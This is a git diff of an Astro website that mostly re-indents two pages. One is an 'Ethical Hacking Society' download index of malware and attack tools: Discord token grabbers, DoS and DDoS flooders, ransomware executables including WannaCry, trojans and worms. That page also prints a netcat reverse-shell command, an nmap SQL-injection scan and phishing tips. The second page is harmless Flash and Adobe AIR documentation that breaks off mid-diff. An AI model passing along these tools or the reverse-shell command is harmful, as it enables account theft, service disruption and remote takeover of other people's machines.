 </div>
-<Scripts accordion="true" />
+<Scripts highlight="true" accordion="true" scrollspy="true" />
diff --git a/src/pages/backup/ehs.astro b/src/pages/backup/ehs.astro
index 3664504cc..36ae9a4f3 100644
--- a/src/pages/backup/ehs.astro
+++ b/src/pages/backup/ehs.astro
@@ -13,138 +13,140 @@ import BackToTop from '../../components/BackToTop.astro';
   <div class="alert alert-dark mb-0" role="alert">
   This is an inactive community. Expect no new sections or changes without special exceptions.
   </div>
-  <Hero id="ehs" title="Ethical Hacking Society" description="The Ethical Hacking Society is about ethical hacking as a whole." 
-  buttons={[
-    { href: "https://discord.gg/yCnteHexEs", text: "Discord Server Invite", type: "primary" },
-    { href: "/ehs", text: "View the pop-up format", type: "secondary" },
-  ]},
-  icons={[
-    { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/zPdxVST5VU" },
-    { icon: "discord", desc: "Anti Vegans", href: "https://discord.gg/yCnteHexEs" },
-  ]},
-  dropdownItems = {[
-    { navigationDesc: "Slammer", navigationLink: "#slammer" },
-    { navigationDesc: "Denial Of Service", navigationLink: "#dos" },
-    { navigationDesc: "Distributed Denial Of Service", navigationLink: "#ddos" },
-    { navigationDesc: "Token Grabbers", navigationLink: "#token" },
-    { navigationDesc: "Ransomware", navigationLink: "#ransom" },
-    { navigationDesc: "Trojans", navigationLink: "#trojans" },
-    { navigationDesc: "Worms", navigationLink: "#worms" },
-    { navigationDesc: "Other", navigationLink: "#other" },
-  ]},
-  />
-  <main id="ehs" class="container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> 
-      We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
-      Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
-      If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
-      </p>
-    </div>
-    <hr>
-    <div id="slammer">
-      <h2> Slammer </h2>
-      <p> <a href="/media/files/Slammer_.py" download>Slammer (Python)</a> 
-      <a href="/media/files/Slammer_socks.py" download>Slammer Socks (Python)</a> 
-      <a href="/media/files/Slammer_terminal.py" download>Slammer Terminal (Python)</a> by CobraCommander. </p>
-    </div>
-    <hr>
-    <div id="dos">
-      <h2> Denial of Service </h2>
-      <div class="my-3">
-        <a href="/backup/script#dos" class="btn btn-info mb-1">TSC's DoS Section</a>
+  <div id="main-content">
+    <Hero id="ehs" title="Ethical Hacking Society" description="The Ethical Hacking Society is about ethical hacking as a whole." 
+    buttons={[
+      { href: "https://discord.gg/yCnteHexEs", text: "Discord Server Invite", type: "primary" },
+      { href: "/ehs", text: "View the pop-up format", type: "secondary" },
+    ]},
+    icons={[
+      { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/zPdxVST5VU" },
+      { icon: "discord", desc: "Anti Vegans", href: "https://discord.gg/yCnteHexEs" },
+    ]},
+    dropdownItems = {[
+      { navigationDesc: "Slammer", navigationLink: "#slammer" },
+      { navigationDesc: "Denial Of Service", navigationLink: "#dos" },
+      { navigationDesc: "Distributed Denial Of Service", navigationLink: "#ddos" },
+      { navigationDesc: "Token Grabbers", navigationLink: "#token" },
+      { navigationDesc: "Ransomware", navigationLink: "#ransom" },
+      { navigationDesc: "Trojans", navigationLink: "#trojans" },
+      { navigationDesc: "Worms", navigationLink: "#worms" },
+      { navigationDesc: "Other", navigationLink: "#other" },
+    ]},
+    />
+    <main id="ehs" class="container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> 
+        We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br><br>
+        Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM.<br><br>
+        If it's an APK file, use an emulator.<br><br><a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a><br><a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
       </div>
-      <br>
-      <p> A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.</p> 
-      <p> <a href="/media/files/http.py" download>HTTP Flooder (Python)</a> by Nasus</p>
-      <p> <a href="/media/files/requirements.txt" download>Requirements (TXT)</a> 
-      <a href="/media/files/MHViP.py" download>MHViP (Python)</a> 
-      <a href="/media/files/README.md" download>README (MD)</a>. These files are a private paid DDPS</p>
-    </div>
-    <hr>
-    <div id="ddos">
-      <h2> Distributed Denial of Service </h2> 
-      <p> A distributed denial-of-service (DDoS) attack is a type of DoS attack that comes from many distributed sources, such as a botnet DDoS attack. </p> 
-      <p> <a href="/media/files/SaphyraDDOS.py" download>SaphryaDDOS (Python)</a> <a href="/media/files/Ping_of_death_.py" download>Ping of Death (Python)</a> <a href="/media/files/UDP_Flood.py" download>UDP Flood (Python)</a> by CobraCommander</p>
-    </div>
-    <hr>
-    <div id="token">
-      <h2> Token Grabbers </h2>
-      <p> A Token Grabber is supposed to grab people on Discord's tokens, to hack their account. </p>
-      <p> <a href="/media/files/token-grabber.py" download>Token Grabber (Python)</a> by Alex Toucan</p>
-      <p> <a href="/media/files/token.py" download>Token Grabber (Python)</a> by wodxgod</p>
-      <p> <a href="/media/files/tokengrab.py" download>Token Grabber (Python)</a> by Wever </p>
-
-      <p> <a href="/media/files/token.7z" download>Token Grabber (7Z)</a> <a href="/media/files/Token_grabber4.py" download>Token Grabber (Python)</a> by CobraCommander</p>
-      <p> <a href="/media/files/tokencyb.js" download>Token Grabber (JavaScript)</a> by CУБΞЯC </p>
-      <p> <a href="/media/files/brutetoken.py" download>Token Bruteforcer (Python)</a> by Social404</p>
-
-      <h4> Wever Recommends these Steps </h4>
-      <p><a href="https://github.com/ii7x/IMAGE-DISCORD-TOKEN-GRABBER-BY-II7X">Token Grabber.js</a>
-      <a href="https://github.com/Nimplex/ss-grabber.js">ss-grabber.js</a>
-      <a href="https://www.youtube.com/watch?v=T4XMLoBFWsI">Tutorial</a></p>
+      <hr>
+      <div id="slammer">
+        <h2> Slammer </h2>
+        <p> <a href="/media/files/Slammer_.py" download>Slammer (Python)</a> 
+        <a href="/media/files/Slammer_socks.py" download>Slammer Socks (Python)</a> 
+        <a href="/media/files/Slammer_terminal.py" download>Slammer Terminal (Python)</a> by CobraCommander. </p>
+      </div>
+      <hr>
+      <div id="dos">
+        <h2> Denial of Service </h2>
+        <div class="my-3">
+          <a href="/backup/script#dos" class="btn btn-info mb-1">TSC's DoS Section</a>
+        </div>
+        <br>
+        <p> A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.</p> 
+        <p> <a href="/media/files/http.py" download>HTTP Flooder (Python)</a> by Nasus</p>
+        <p> <a href="/media/files/requirements.txt" download>Requirements (TXT)</a> 
+        <a href="/media/files/MHViP.py" download>MHViP (Python)</a> 
+        <a href="/media/files/README.md" download>README (MD)</a>. These files are a private paid DDPS</p>
+      </div>
+      <hr>
+      <div id="ddos">
+        <h2> Distributed Denial of Service </h2> 
+        <p> A distributed denial-of-service (DDoS) attack is a type of DoS attack that comes from many distributed sources, such as a botnet DDoS attack. </p> 
+        <p> <a href="/media/files/SaphyraDDOS.py" download>SaphryaDDOS (Python)</a> <a href="/media/files/Ping_of_death_.py" download>Ping of Death (Python)</a> <a href="/media/files/UDP_Flood.py" download>UDP Flood (Python)</a> by CobraCommander</p>
       </div>
-    <hr> 
-    <div id="ransom">
-      <h2> Ransomware </h2>
-      <p> <a href="/media/files/DCQPKX.exe" download>DCQPKX (EXE)</a>
-      <a href="/media/files/Wannacry.exe" download>WannaCry (EXE)</a>
-      <a href="/media/files/Wannacry2.exe" download>WannaCry 2 (EXE)</a>
-      <a href="/media/files/MYDOOM.idb" download>MyDOOM (IDB)</a> 
-      <a href="/media/files/grandcab.bin" download>GrandCab (BIN)</a> 
-      <a href="/media/files/unknown" download>Unknown</a> 
-      <a href="/media/files/windows8-rt.msu" download>Windows 8 RT Virus (MSU)</a> 
-      <a href="/media/files/mydoom.c" download>MYDOOM (C)</a> <a href="/media/files/RnVjayB5b3UgCg.bat" id="new">Infect Files (BAT)</a>
-      <a href="/media/files/Ransomware.exe" download>Homemade (EXE)</a> by CobraCommander </p>
-      <p> <a href="https://github.com/Endermanch/MalwareDatabase">Collection</a> by Endermanch </p> 
-    </div>
-    <hr>   
-    <div id="trojans">
-      <h2> Trojans </h2> 
-      <p><b>From The Script Community:</b> A Trojan horse in cybersecurity is any malware that misleads users of its true intent. It may look legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network. </p>
-      <p> <a href="/media/files/memz-trojan.zip" download>MEMZ Trojan (ZIP | Python)</a>
-      <a href="/media/files/trojan-antivirus.bat" download>Trojan 1 (BAT)</a>
-      <a href="/media/files/trojan.bat" download>Trojan 2 (BAT)</a> 
-      <a href="/media/files/Trojan_.bat" download>Trojan 3 (BAT)</a>
-      <a href="/media/files/Trojan_3.bat" download>Trojan 4 (BAT)</a>
-      <a href="/media/files/Trojan_2.bat" download>Trojan 5 (BAT)</a>
-      by CobraCommander</p>
-    </div>
-    <hr>  
-    <div id="worms">
-      <h2> Worms </h2>
-      <p> <a href="/media/files//Networm.txt" download>Networm (TXT)</a> by CobraCommander </p>
-    </div>
-    <hr> 
-    <div id="other">
-      <h2> Other </h2>
-      <p><a href="/media/files/Doom.exe" download>Doom (EXE)</a> 
-      <a href="/media/files/Techno.bat">Techno (BAT)</a> <a href="/media/files/viruscodes.txt" download>VirusCodes (TXT)</a> 
-      <a href="/media/files/DoomB.bat" download>Doom (BAT | Version 2)</a> 
-      <a href="/media/files//unknown.bat" download>Unknown (BAT)</a> 
-      <a href="/media/files/death.bat" download>Death (BAT)</a> 
-      <a href="/media/files/crash.bat" download>Crash (BAT)</a> 
-      <a href="/media/files/unknown1.bat" download>Unknown (BAT)</a> 
-      <a href="/media/files/Matrix.txt" download>Matrix (TXT)</a> 
-      <a href="/media/files/Script.bat" download>Script (BAT)</a> 
-      <a href="/media/files/pingerandddos.zip" download>Pinger and DDOS (RAR)</a> 
-      <a href="/media/files/Mydoom_3" download>MyDOOM_3</a> by CobraCommander</p>  
-      <p> <b>Reverse Shell Command on <a href="http://netcat.sourceforge.net/">Netcat</a></b> - 
-      <code>nc -e /bin/sh 10.0.0.1 1234</code>
-      </p><p> <b><a href="https://nmap.org/">Nmap</a> on Kali Linux SQL Injection</b> - <code>nmap --script=http-sql-injection &lt;target&gt;</code>
-      </p><p> <b>Ping of Death in “C”</b> - <code>ping &lt;ip address&gt; -t |65500</code></p>
-      <p> <b> Social Engineering</b> - "Spearhead phishing is effective but try something like whaling or watering hole" <a href="https://www.wireshark.org/#download">Wireshark</a> is a network protocol analyzer used to capture traffic. <br> <br>Putting your adapter in Monitor mode, or RFMON mode, allows a computer with a wireless network interface controller to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point<br> <br> Buy a WiFi Adapter that supports Monitor Mode.
-      </p>
-      <p>
-      <a class="icon-link icon-link-hover" href="/backup/script#whpt">
-      See phishing definitions
-      <i class="bi bi-arrow-right h-100"></i>
-      </a>
-      </p>
-    </div> 
-  </main>
-  <Footer author="Alex Toucan & CobraCommander" />
+      <hr>
+      <div id="token">
+        <h2> Token Grabbers </h2>
+        <p> A Token Grabber is supposed to grab people on Discord's tokens, to hack their account. </p>
+        <p> <a href="/media/files/token-grabber.py" download>Token Grabber (Python)</a> by Alex Toucan</p>
+        <p> <a href="/media/files/token.py" download>Token Grabber (Python)</a> by wodxgod</p>
+        <p> <a href="/media/files/tokengrab.py" download>Token Grabber (Python)</a> by Wever </p>
+  
+        <p> <a href="/media/files/token.7z" download>Token Grabber (7Z)</a> <a href="/media/files/Token_grabber4.py" download>Token Grabber (Python)</a> by CobraCommander</p>
+        <p> <a href="/media/files/tokencyb.js" download>Token Grabber (JavaScript)</a> by CУБΞЯC </p>
+        <p> <a href="/media/files/brutetoken.py" download>Token Bruteforcer (Python)</a> by Social404</p>
+  
+        <h4> Wever Recommends these Steps </h4>
+        <p><a href="https://github.com/ii7x/IMAGE-DISCORD-TOKEN-GRABBER-BY-II7X">Token Grabber.js</a>
+        <a href="https://github.com/Nimplex/ss-grabber.js">ss-grabber.js</a>
+        <a href="https://www.youtube.com/watch?v=T4XMLoBFWsI">Tutorial</a></p>
+        </div>
+      <hr> 
+      <div id="ransom">
+        <h2> Ransomware </h2>
+        <p> <a href="/media/files/DCQPKX.exe" download>DCQPKX (EXE)</a>
+        <a href="/media/files/Wannacry.exe" download>WannaCry (EXE)</a>
+        <a href="/media/files/Wannacry2.exe" download>WannaCry 2 (EXE)</a>
+        <a href="/media/files/MYDOOM.idb" download>MyDOOM (IDB)</a> 
+        <a href="/media/files/grandcab.bin" download>GrandCab (BIN)</a> 
+        <a href="/media/files/unknown" download>Unknown</a> 
+        <a href="/media/files/windows8-rt.msu" download>Windows 8 RT Virus (MSU)</a> 
+        <a href="/media/files/mydoom.c" download>MYDOOM (C)</a> <a href="/media/files/RnVjayB5b3UgCg.bat" id="new">Infect Files (BAT)</a>
+        <a href="/media/files/Ransomware.exe" download>Homemade (EXE)</a> by CobraCommander </p>
+        <p> <a href="https://github.com/Endermanch/MalwareDatabase">Collection</a> by Endermanch </p> 
+      </div>
+      <hr>   
+      <div id="trojans">
+        <h2> Trojans </h2> 
+        <p><b>From The Script Community:</b> A Trojan horse in cybersecurity is any malware that misleads users of its true intent. It may look legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network. </p>
+        <p> <a href="/media/files/memz-trojan.zip" download>MEMZ Trojan (ZIP | Python)</a>
+        <a href="/media/files/trojan-antivirus.bat" download>Trojan 1 (BAT)</a>
+        <a href="/media/files/trojan.bat" download>Trojan 2 (BAT)</a> 
+        <a href="/media/files/Trojan_.bat" download>Trojan 3 (BAT)</a>
+        <a href="/media/files/Trojan_3.bat" download>Trojan 4 (BAT)</a>
+        <a href="/media/files/Trojan_2.bat" download>Trojan 5 (BAT)</a>
+        by CobraCommander</p>
+      </div>
+      <hr>  
+      <div id="worms">
+        <h2> Worms </h2>
+        <p> <a href="/media/files//Networm.txt" download>Networm (TXT)</a> by CobraCommander </p>
+      </div>
+      <hr> 
+      <div id="other">
+        <h2> Other </h2>
+        <p><a href="/media/files/Doom.exe" download>Doom (EXE)</a> 
+        <a href="/media/files/Techno.bat">Techno (BAT)</a> <a href="/media/files/viruscodes.txt" download>VirusCodes (TXT)</a> 
+        <a href="/media/files/DoomB.bat" download>Doom (BAT | Version 2)</a> 
+        <a href="/media/files//unknown.bat" download>Unknown (BAT)</a> 
+        <a href="/media/files/death.bat" download>Death (BAT)</a> 
+        <a href="/media/files/crash.bat" download>Crash (BAT)</a> 
+        <a href="/media/files/unknown1.bat" download>Unknown (BAT)</a> 
+        <a href="/media/files/Matrix.txt" download>Matrix (TXT)</a> 
+        <a href="/media/files/Script.bat" download>Script (BAT)</a> 
+        <a href="/media/files/pingerandddos.zip" download>Pinger and DDOS (RAR)</a> 
+        <a href="/media/files/Mydoom_3" download>MyDOOM_3</a> by CobraCommander</p>  
+        <p> <b>Reverse Shell Command on <a href="http://netcat.sourceforge.net/">Netcat</a></b> - 
+        <code>nc -e /bin/sh 10.0.0.1 1234</code>
+        </p><p> <b><a href="https://nmap.org/">Nmap</a> on Kali Linux SQL Injection</b> - <code>nmap --script=http-sql-injection &lt;target&gt;</code>
+        </p><p> <b>Ping of Death in “C”</b> - <code>ping &lt;ip address&gt; -t |65500</code></p>
+        <p> <b> Social Engineering</b> - "Spearhead phishing is effective but try something like whaling or watering hole" <a href="https://www.wireshark.org/#download">Wireshark</a> is a network protocol analyzer used to capture traffic. <br> <br>Putting your adapter in Monitor mode, or RFMON mode, allows a computer with a wireless network interface controller to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point<br> <br> Buy a WiFi Adapter that supports Monitor Mode.
+        </p>
+        <p>
+        <a class="icon-link icon-link-hover" href="/backup/script#whpt">
+        See phishing definitions
+        <i class="bi bi-arrow-right h-100"></i>
+        </a>
+        </p>
+      </div> 
+    </main>
+    <Footer author="Alex Toucan & CobraCommander" />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/backup/flash.astro b/src/pages/backup/flash.astro
index 14718e6f6..a65f176eb 100644
--- a/src/pages/backup/flash.astro
+++ b/src/pages/backup/flash.astro
@@ -11,543 +11,545 @@ import BackToTop from '../../components/BackToTop.astro';
 <Head title="Flash Documentation" heroid="flash" icon="Adobe_Flash_Player_32.svg.png" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" keywords="Flash Documentation, AT Products" author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <Hero id="flash" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" imageSrc="/media/images/flashdoc.webp" imageWidth="50%" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2"
-    buttons={[
-      { href: "/backup/flash", text: "View the all laid out format", type: "secondary" },
-    ]},
-    dropdownItems={[
-      { navigationDesc: "Adobe AIR", navigationLink: "#ai" },
-      { navigationDesc: "Adobe AIR Logo History", navigationLink: "#al" },
-      { navigationDesc: "Adobe Director", navigationLink: "#di" },
-      { navigationDesc: "Adobe Director Logo History", navigationLink: "#dl" },
-      { navigationDesc: "Adobe Shockwave", navigationLink: "#sw" },
-      { navigationDesc: "Adobe Shockwave Logo History", navigationLink: "#sl" },
-      { navigationDesc: "Flash Player's Logo History", navigationLink: "#fh" },
-      { navigationDesc: "How to use Flash after 2021", navigationLink: "#ft" },
-      { navigationDesc: "How to fix the 'missing Flash.ocx' error after Windows 2000", navigationLink: "#oc" },
-      { navigationDesc: "AMD GPU Fix for Flash Player", navigationLink: "#am" },
-      { navigationDesc: "Browsers that support the Flash Player plug-in", navigationLink: "#br" },
-      { navigationDesc: "Flash Player for Android", navigationLink: "#ao" },
-      { navigationDesc: "How to Run Apps in Screensavers", navigationLink: "#rs" },
-      { navigationDesc: "Tools for Flash Player", navigationLink: "#tf" },
-      { navigationDesc: "Flash Games for Today's Times", navigationLink: "#fg" },
-      { navigationDesc: "Flash Engines and Alternatives", navigationLink: "#eg" },
-    ]}n
-  />
-  <main id="flash" class="container">
-    <div id="ai">
-      <h2>Adobe AIR</h2>
-      <figure class="figure">
-        <img src="/media/images/adobeair.png" width="12.5%" style="min-width: 125px;" alt="AIR logo" class="flash">
-        <figcaption class="figure-caption mt-1">Adobe AIR Logo</figcaption>
-      </figure>
-      <p> On this page, we will review Adobe AIR. </p>
-      <h3> What is Adobe AIR </h3>
-      <p> Adobe AIR (codenamed Apollo) runtime enables developers to use HTML, JavaScript, Adobe Flash software, and ActionScript to build web applications that run as standalone client applications without the constraints of a browser. This supports AIR files for installation. Adobe AIR's logo history falls under Adobe's Flash Player logo history, having similar logos. Adobe AIR was discontinued at the same time that Flash Player was discontinued, on January 1st, 2021.</p> 
-      <h3> How to use Adobe AIR in 2022 </h3>
-      <p> You can download the most recent version of <a href="/media/files/AdobeAIR.exe">Adobe AIR here</a>, or install <a href="http://www.oldversion.com/windows/adobe-air/">older versions</a>.</p>
-      <p> If you need to uninstall it, open Command Prompt or Run in Windows, use <code>path to AdobeAIRInstaller.exe -uninstall</code> and enter. Otherwise, use this <a href="https://support.microsoft.com/en-us/topic/fix-problems-that-block-programs-from-being-installed-or-removed-cca7d1b6-65a9-3d98-426b-e9f927e1eb4d">Microsoft blog post</a>.</p>
-    </div>
-    <hr>
-    <div id="al">
-      <h2>Adobe AIR Logo History</h2>
-      <Scrollspy id="air-list"
-        scrollcontent={[
-        { name: "2008", href: "#a2008" },
-        { name: "2010", href: "#a2010" },
-        { name: "2013", href: "#a2013" },
-        { name: "2015", href: "#a2015" },
-        ]}
-      >
-        <Fragment slot="scrollspy-content">
-          <div id="a2008">
-            <p> 2008 - 2010 </p>
-            <img src="/media/images/Adobe_air_2008.webp" width="200" height="200" alt="2008-2010">
-          </div>
-          <br> <br> <br>
-          <div id="a2010">
-            <p> 2010 - 2013 </p>
-            <img src="/media/images/Adobe_air_2010.webp" width="200" height="200" alt="2010-2013">
-          </div>
-          <br> <br> <br>
-          <div id="a2013">
-            <p> 2013 - 2015 </p>
-            <img src="/media/images/Adobe_air_2013.webp" width="200" height="200" alt="2013-2015">
-          </div>
-          <div id="a2015">
-          <br> <br> <br>
-            <p> 2015 - Present </p>
-            <img src="/media/images/Adobe_air_2015.webp" width="200" height="200" alt="2015-now"> <br> 
-            <img src="/media/images/24406.png" width="200" height="200" alt="2015-now installer"> <br>
-            <sub> Installer </sub>
-          </div>
-        </Fragment>
-      </Scrollspy>
-    </div>
-    <hr>
-    <div id="di">
-      <h2>Adobe Director</h2>
-      <figure class="figure">
-        <img src="/media/images/Adobe_Di.svg.png" width="12.5%" style="min-width: 125px;" alt="Director Logo" class="flash">
-        <figcaption class="figure-caption mt-1">Adobe Director Logo</figcaption>
-      </figure>
-      <p> On this page, we will review Adobe Director. </p>
-      <h3> What is Adobe Director </h3>
-      <p> Adobe Director is very similar to Adobe Flash Player, but they are both completely different things. Instead of SWF files, it uses DCR files. It can also use Apple Inc.'s Quicktime, used to support media, and the 3DO Company's 3DO Console Engine. Adobe Director's last version was 12, released on February 11th, 2013. The product would be later discontinued in a range from February 1st to March 14th of 2017. </p>
-      <h3> Plug-ins </h3>
-      <p> One of the few differences between Director and Flash is that Director supports plug-ins or Xtras. This is possible by a tool named Adobe Director's XDK (Xtra Development Kit), which is a C++ SDK. With each new version, new changes are important for these plug-ins.  </p>
-      <h3> How to use Adobe Director after 2017 </h3>
-      <p> Adobe Director has standalone apps that have DCR files pre-loaded (<a href="/media/files/spongebob-example.zip" download>example</a>).</p>
-      <p> You can download the most recent version of <a href="/media/files/Projector Skeleton for Adobe Director 12.0.1.122.zip" download>Projector Skeleton for Adobe Director here</a> for using DCR files onto a Windows app. It will ask you once you open the application, to put in a DCR file. Make sure that the plugin is in the same folder (directory) as the DCR file. You can download a <a href="/media/files/anchovies.dcr">example DCR game here</a>.</p>
-      <p>If you have issues about 16-bit apps with Director, you may <a href="https://github.com/otya128/winevdm#readme">view how to run them on Windows 10 or above</a>.</p>
-    </div>
-    <hr>
-    <div id="dl">
-      <h2>Adobe Director Logo History</h2>
-      <Scrollspy id="dir-list"
-        scrollcontent={[
-        { name: "Macromind Videoworks", href: "#mvtitle", additionalClasses: "fw-bolder" },
-        { name: "Version 1 (1985)", href: "#d1985" },
-        { name: "Version 2 (1987)", href: "#d1987" },
-        { name: "Macromind Director", href: "#mdtitle", additionalClasses: "fw-bolder" },
-        { name: "Version 1 (1989)", href: "#d1989" },
-        { name: "Version 2 (1990)", href: "#d1990" },
-        { name: "Version 3 (1991)", href: "#d1991" },
-        { name: "Version 3.1 (1992)", href: "#d1992" },
-        { name: "Macromedia Director", href: "#matitle", additionalClasses: "fw-bolder" },
-        { name: "Version 3.1.3 (1993)", href: "#d1993" },
-        { name: "Version 4 (1994)", href: "#d1994" },
-        { name: "Version 5 (1996)", href: "#d1996" },
-        { name: "Version 6 (1997)", href: "#d1997" },
-        { name: "Version 7 (1998)", href: "#d1998" },
-        { name: "Version 8 (2000)", href: "#d2000" },
-        { name: "Version 8.5 (2001)", href: "#d2001" },
-        { name: "Versions 9 - 10 (2002)", href: "#d2002" },
-        { name: "Adobe Director", href: "#aetitle", additionalClasses: "fw-bolder" },
-        { name: "Version 11 (2007)", href: "#d2007" },
-        { name: "Version 11.5 (2008)", href: "#d2008" },
-        { name: "Version 12 (2010)", href: "#d2010" },
-        ]}
-        otherClass="dmsize">
-        <Fragment slot="scrollspy-content">
-          <div id="videoworks">
-            <h4 id="mvtitle"> Macromind Videoworks </h4>
-            <div id="d1985">
-              <p> 1985 - 1987 </p>
-              <p> Version 1 </p>
-              <img src="/media/images/MacromindVideoworks_1.webp" width="200" height="200" alt="1985-1987 | version 1"> <br> <br>
-              <img src="/media/images/bannerMacromindVideoworks_1.webp" alt=" 1985-1987 | version 1">
+  <div id="main-content">
+    <Hero id="flash" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" imageSrc="/media/images/flashdoc.webp" imageWidth="50%" imageAlt="Flash Documentation" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2"
+      buttons={[
+        { href: "/backup/flash", text: "View the all laid out format", type: "secondary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "Adobe AIR", navigationLink: "#ai" },
+        { navigationDesc: "Adobe AIR Logo History", navigationLink: "#al" },
+        { navigationDesc: "Adobe Director", navigationLink: "#di" },
+        { navigationDesc: "Adobe Director Logo History", navigationLink: "#dl" },
+        { navigationDesc: "Adobe Shockwave", navigationLink: "#sw" },
+        { navigationDesc: "Adobe Shockwave Logo History", navigationLink: "#sl" },
+        { navigationDesc: "Flash Player's Logo History", navigationLink: "#fh" },
+        { navigationDesc: "How to use Flash after 2021", navigationLink: "#ft" },
+        { navigationDesc: "How to fix the 'missing Flash.ocx' error after Windows 2000", navigationLink: "#oc" },
+        { navigationDesc: "AMD GPU Fix for Flash Player", navigationLink: "#am" },
+        { navigationDesc: "Browsers that support the Flash Player plug-in", navigationLink: "#br" },
+        { navigationDesc: "Flash Player for Android", navigationLink: "#ao" },
+        { navigationDesc: "How to Run Apps in Screensavers", navigationLink: "#rs" },
+        { navigationDesc: "Tools for Flash Player", navigationLink: "#tf" },
+        { navigationDesc: "Flash Games for Today's Times", navigationLink: "#fg" },
+        { navigationDesc: "Flash Engines and Alternatives", navigationLink: "#eg" },
+      ]}n
+    />
+    <main id="flash" class="container">
+      <div id="ai">
+        <h2>Adobe AIR</h2>
+        <figure class="figure">
+          <img src="/media/images/adobeair.png" width="12.5%" style="min-width: 125px;" alt="AIR logo" class="flash">
+          <figcaption class="figure-caption mt-1">Adobe AIR Logo</figcaption>
+        </figure>
+        <p> On this page, we will review Adobe AIR. </p>
+        <h3> What is Adobe AIR </h3>
+        <p> Adobe AIR (codenamed Apollo) runtime enables developers to use HTML, JavaScript, Adobe Flash software, and ActionScript to build web applications that run as standalone client applications without the constraints of a browser. This supports AIR files for installation. Adobe AIR's logo history falls under Adobe's Flash Player logo history, having similar logos. Adobe AIR was discontinued at the same time that Flash Player was discontinued, on January 1st, 2021.</p> 
+        <h3> How to use Adobe AIR in 2022 </h3>
+        <p> You can download the most recent version of <a href="/media/files/AdobeAIR.exe">Adobe AIR here</a>, or install <a href="http://www.oldversion.com/windows/adobe-air/">older versions</a>.</p>
+        <p> If you need to uninstall it, open Command Prompt or Run in Windows, use <code>path to AdobeAIRInstaller.exe -uninstall</code> and enter. Otherwise, use this <a href="https://support.microsoft.com/en-us/topic/fix-problems-that-block-programs-from-being-installed-or-removed-cca7d1b6-65a9-3d98-426b-e9f927e1eb4d">Microsoft blog post</a>.</p>
+      </div>
+      <hr>
+      <div id="al">
+        <h2>Adobe AIR Logo History</h2>
+        <Scrollspy id="air-list"
+          scrollcontent={[
+          { name: "2008", href: "#a2008" },
+          { name: "2010", href: "#a2010" },
+          { name: "2013", href: "#a2013" },
+          { name: "2015", href: "#a2015" },
+          ]}
+        >
+          <Fragment slot="scrollspy-content">
+            <div id="a2008">
+              <p> 2008 - 2010 </p>
+              <img src="/media/images/Adobe_air_2008.webp" width="200" height="200" alt="2008-2010">
             </div>
             <br> <br> <br>
-            <div id="d1987">
-              <p> 1987 - 1989 </p>
-              <p> Version 2 </p>
-              <img src="/media/images/MacromediaVideoworks_2.webp" width="200" height="200" alt="1987-1989 | version 2">
-            </div>
-          </div>
-          <hr>
-          <div id="director">
-            <h4 id="mdtitle"> Macromind Director </h4>
-            <div id="d1989">
-              <p> 1989 - 1990 </p>
-              <p> Version 1 </p>
-              <img src="/media/images/MacromindDirector_1.webp" width="200" height="137" alt="1989-1990 | version 1">
+            <div id="a2010">
+              <p> 2010 - 2013 </p>
+              <img src="/media/images/Adobe_air_2010.webp" width="200" height="200" alt="2010-2013">
             </div>
             <br> <br> <br>
-            <div id="d1990">
-              <p> 1990 - 1991 </p>
-              <p> Version 2 </p>
-              <img src="/media/images/MacromindDirector_2.webp" width="200" height="205" alt="1990-1991 | version 2">
+            <div id="a2013">
+              <p> 2013 - 2015 </p>
+              <img src="/media/images/Adobe_air_2013.webp" width="200" height="200" alt="2013-2015">
             </div>
+            <div id="a2015">
             <br> <br> <br>
-            <div id="d1991">
-              <p> 1991 - 1992 </p>
-              <p> Version 3 </p>
-              <img src="/media/images/MacromindDirector_3.webp" width="200" height="223" alt="1991-1992 | version 3">
+              <p> 2015 - Present </p>
+              <img src="/media/images/Adobe_air_2015.webp" width="200" height="200" alt="2015-now"> <br> 
+              <img src="/media/images/24406.png" width="200" height="200" alt="2015-now installer"> <br>
+              <sub> Installer </sub>
             </div>
-            <br> <br> <br>
-            <div id="d1992">
